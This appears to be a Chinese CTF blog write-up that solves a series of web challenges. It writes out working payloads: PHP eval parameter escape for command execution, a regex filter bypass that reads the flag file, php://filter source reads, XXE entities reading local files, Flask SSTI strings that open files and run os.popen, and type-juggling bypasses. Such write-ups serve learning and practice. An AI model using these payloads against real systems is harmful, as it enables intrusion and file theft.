catflag-web-wp部分(填坑)

web签到题

进入页面,一片空白,查看源码

webshell

在这里插入图片描述

源码,状态包什么都看了,没找到
啥都没了,猜猜应该是目录扫描
扫一下
在这里插入图片描述
在这里插入图片描述
webshe11.php是白板,查看源码得到
在这里插入图片描述
解码得到hacker
应该是一句话木马的密码
在这里插入图片描述
cat看一下,没有找着(可以直接用菜刀连)
查看根目录
在这里插入图片描述
有了

命令执行之我在哪

在这里插入图片描述
过滤了很多
试下参数逃逸
在这里插入图片描述
http://timu.vfree.ltd:9006/rce/?cmd=eval($_GET[1]);&1=phpinfo();
出来了
在这里插入图片描述

int

在这里插入图片描述
http://timu.vfree.ltd:9006/int/index.php?num=666a
在这里插入图片描述

《我的女友是机器人》

在这里插入图片描述
机器人,看看robots.txt
在这里插入图片描述
访问/f1ag_is_in_there!!!
会让下载一个附件,打开就是flag
在这里插入图片描述

变量覆盖_extract

通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
在这里插入图片描述

等于False

在这里插入图片描述
md5(array) 返回值是空

文件包含

在这里插入图片描述
一个大白板,查看源码
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag
这就可以记作是读文件源码的一种姿势
在这里插入图片描述

strcmp

在这里插入图片描述
这是利用strcmp函数的漏洞

strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

什么?有后门

下载附件,丢进D盾
在这里插入图片描述
在这里插入图片描述
zygsctf{zygsctf}

命令执行之我是谁

在这里插入图片描述
有没过滤eval
在这里插入图片描述

再用刚才的姿势,参数逃逸
在这里插入图片描述

小矛盾

在这里插入图片描述
http://timu.vfree.ltd:9022/?num=9e99999
用科学计数法绕过
在这里插入图片描述
再看响应头

命令执行之我在干什么

在这里插入图片描述
可以用括号来绕过文件长度
$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';
这个正则没有过滤[
[ |<>|?|*|\\\\\'"]
这个表示是一组
所以过滤了空格

过滤空格用%0a绕过

所以构造payload
http://timu.vfree.ltd:9033/?a=(((((((((((((((((((((((((tail%09fla[a-z].txt)))))))))))))))))))))))))
用正则绕过flag
在这里插入图片描述
查看源码,得到flag
(但是交不对,不会是个假的吧)

xxelab_1

在这里插入图片描述
什么都看不出,抓包吧
在这里插入图片描述
看到了xml,又题目叫xee

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
在这里插入图片描述
是内部声明也可以引用外部DTD,如下所示。

  • 内部声明DTD格式:<!DOCTYPE 根元素[元素声明]>。
  • 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。

在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。

  • 内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
  • 引用外部实体格式:<!ENTITY 实体名 SYSTEM “URI”>。

看下这个例子
在这里插入图片描述
在POST参数中,关键语句为“file///C:/windows/win.ini”,该语句的作用是通过file协议读取本地文件C:/windows/win.ini

所以我们这一题类似

<!DOCTYPE a[
	<!ENTITY b SYSTEM "file:///flag">
]>

a和b是随意起名即可
在这里插入图片描述
不知道为啥没出来,可能还有其他的过滤
OK,问题找到了,要在元素中引用外部实体参数&b; (不是$b;)

在这里插入图片描述
一定要引用
因为一直emil那里直接输出值,所以只需要在email那里&b; 即可

xxelab_2

在这里插入图片描述
想用上一题的方法,发现没有返回我们的输入了
那怎么办,可以看看前面有一题的姿势
直接读文件源代码那里(一定要记住这个姿势)
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag

<!DOCTYPE a[
	<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
]>

在这里插入图片描述
有了

easy_flask

搜flask漏洞
在这里插入图片描述
文章
SSTI服务端模板注入
在这里插入图片描述

- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

在这里插入图片描述
在这里插入图片描述

啥都没了

在这里插入图片描述
可以想到vim缓存泄露

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn

这里也就刚好是.index.php.swp
http://timu.vfree.ltd:9014/.index.php.swp
访问,得到文件

vi -r 文件名
恢复文件
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

开心星人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值